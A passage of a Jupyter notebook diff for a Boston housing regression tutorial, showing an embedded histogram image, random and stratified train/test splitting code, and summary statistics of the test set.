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\n",
- "text/plain": [
- ""
- ]
- },
- "metadata": {
- "needs_background": "light"
- },
- "output_type": "display_data"
- }
- ],
- "source": [
- "housing.hist(bins=50, figsize=(20, 15))"
- ]
- },
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "# Train-Test Splitting"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 9,
- "metadata": {},
- "outputs": [],
- "source": [
- "import numpy as np\n",
- "\n",
- "\n",
- "def split_train_test(data, test_ratio):\n",
- " np.random.seed(42)\n",
- " shuffled = np.random.permutation(len(data))\n",
- " test_set_size = int(len(data) * test_ratio)\n",
- " test_indices = shuffled[:test_set_size]\n",
- " train_indices = shuffled[test_set_size:]\n",
- " return data.iloc[train_indices], data.iloc[test_indices]"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 10,
- "metadata": {},
- "outputs": [],
- "source": [
- "train_set, test_set = split_train_test(housing, 0.2)"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 11,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "Rows in train set: 405 \n",
- "Rows in test set : 101\n"
- ]
- }
- ],
- "source": [
- "print(f\"Rows in train set: {len(train_set)} \\nRows in test set : {len(test_set)}\")"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 12,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "Rows in train set: 404 \n",
- "Rows in test set : 102\n"
- ]
- }
- ],
- "source": [
- "from sklearn.model_selection import train_test_split\n",
- "\n",
- "train_set, test_set = train_test_split(housing, test_size=0.2, random_state=42)\n",
- "print(f\"Rows in train set: {len(train_set)} \\nRows in test set : {len(test_set)}\")"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 13,
- "metadata": {},
- "outputs": [],
- "source": [
- "from sklearn.model_selection import StratifiedShuffleSplit\n",
- "\n",
- "split = StratifiedShuffleSplit(n_splits=1, test_size=0.2, random_state=42)\n",
- "for train_index, test_index in split.split(housing, housing[\"CHAS\"]):\n",
- " strat_train_set = housing.loc[train_index]\n",
- " strat_test_set = housing.loc[test_index]"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 14,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/html": [
- "\n",
- "\n",
- "
\n",
- " \n",
- " \n",
- " \n",
- " CRIM \n",
- " ZN \n",
- " INDUS \n",
- " CHAS \n",
- " NOX \n",
- " RM \n",
- " AGE \n",
- " DIS \n",
- " RAD \n",
- " TAX \n",
- " PTRATIO \n",
- " B \n",
- " LSTAT \n",
- " MEDV \n",
- " \n",
- " \n",
- " \n",
- " \n",
- " count \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " 102.000000 \n",
- " \n",
- " \n",
- " mean \n",
- " 3.655942 \n",
- " 13.450980 \n",
- " 10.312255 \n",
- " 0.068627 \n",
- " 0.541353 \n",
- " 6.303353 \n",
- " 66.733333 \n",
- " 3.988460 \n",
- " 8.813725 \n",
- " 391.980392 \n",
- " 18.385294 \n",
- " 369.670196 \n",
- " 12.104314 \n",
- " 22.625490 \n",
- " \n",
- " \n",
- " std \n",
- " 10.400966 \n",
- " 27.503241 \n",
- " 6.761154 \n",
- " 0.254068 \n",
- " 0.111397 \n",
- " 0.662996 \n",
- " 27.772183 \n",
- " 2.131247 \n",
- " 8.614667 \n",
- " 167.837379 \n",
- " 2.310604 \n",
- " 68.075774 \n",
- " 6.759257 \n",
- " 8.452344 \n",
- " \n",
- " \n",
- " min \n",
- " 0.009060 \n",
- " 0.000000 \n",
- " 0.460000 \n",
- " 0.000000 \n",
- " 0.385000 \n",
- " 4.138000 \n",
- " 6.500000 \n",
- " 1.137000 \n",
- " 1.000000 \n",
- " 188.000000 \n",
- " 12.600000 \n",
- " 3.650000 \n",
- " 2.470000 \n",
- " 5.000000 \n",
- " \n",
- " \n",
- " 25% \n",
- " 0.057828 \n",
- " 0.000000 \n",
- " 4.950000 \n",
- " 0.000000 \n",
- " 0.448000 \n",
- " 5.912750 \n",
- " 45.850000 \n",
- " 2.223650 \n",
- " 4.000000 \n",
- " 270.000000 \n",
- " 16.800000 \n",
- " 377.685000 \n",
- " 7.480000 \n",
- " 18.925000 \n",
- " \n",
- " \n",
- " 50% \n",
- " 0.176150 \n",
- " 0.000000 \n",
- " 7.760000 \n",
- " 0.000000 \n",
- " 0.515000 \n",
- " 6.176000 \n",
- " 71.100000 \n",
- " 3.422950 \n",
- " 5.000000 \n",
- " 307.000000 \n",
- " 19.150000 \n",
- " 393.740000 \n",
- " 10.565000 \n",
- " 21.500000 \n",
- " \n",
- " \n",
- " 75% \n",
- " 2.061955 \n",
- " 0.000000 \n",
- " 18.100000 \n",
